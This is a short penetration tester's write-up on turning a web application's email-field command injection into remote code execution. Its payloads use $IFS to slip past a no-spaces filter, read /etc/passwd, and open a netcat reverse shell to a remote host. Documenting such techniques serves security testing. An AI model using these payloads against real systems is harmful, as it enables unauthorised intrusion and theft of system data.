Stupid Unix Tricks - Using $IFS in Web Application Command Injection Vulnerabilities for Full RCE

Awhile ago I was testing a web application and found a command injection vulnerability.  The payload could be sent via an email address field, so something like:

{7*7}@foo.com

returned:

User 49@foo.com not found

Testing a little more, I was able to execute arbitrary commands and see the output with requests similar to:

{`id`}@foo.com

which returned:

User uid=100(www-data) gid=101(www-data) groups=101(www-data)@foo.com not found

The application did some validation on the email addresses, although the local (username) portion of the address could contain most characters.  But spaces weren't allowed, and I really wanted to be able to run commands that took an argument.  

The target system was running a Unix-like operating system.  Enter IFS - Internal Field Separators.  In simple terms, IFS is a built-in, special shell variable that's used as a delimiter to split input, such as a command and its arguments.  Long before web application attacks, IFS abuse was one (of many) reasons why setuid shell scripts are a terrible idea.

Using $IFS in place of <space>, I was now able to pass arguments to commands.  For example, a payload of:

{`cat\$IFS/etc/passwd`}@foo.com

would display the contents of the password file.  I wound up pulling a copy of netcat down to the host and firing off a remote shell via:

{`host=some.remote.ip.addr;port=443;/tmp/nc2\$IFS-e\$IFS/bin/sh\$IFS\$host\$IFS\$port`}@foo.com

to continue local privilege escalation and exploitation.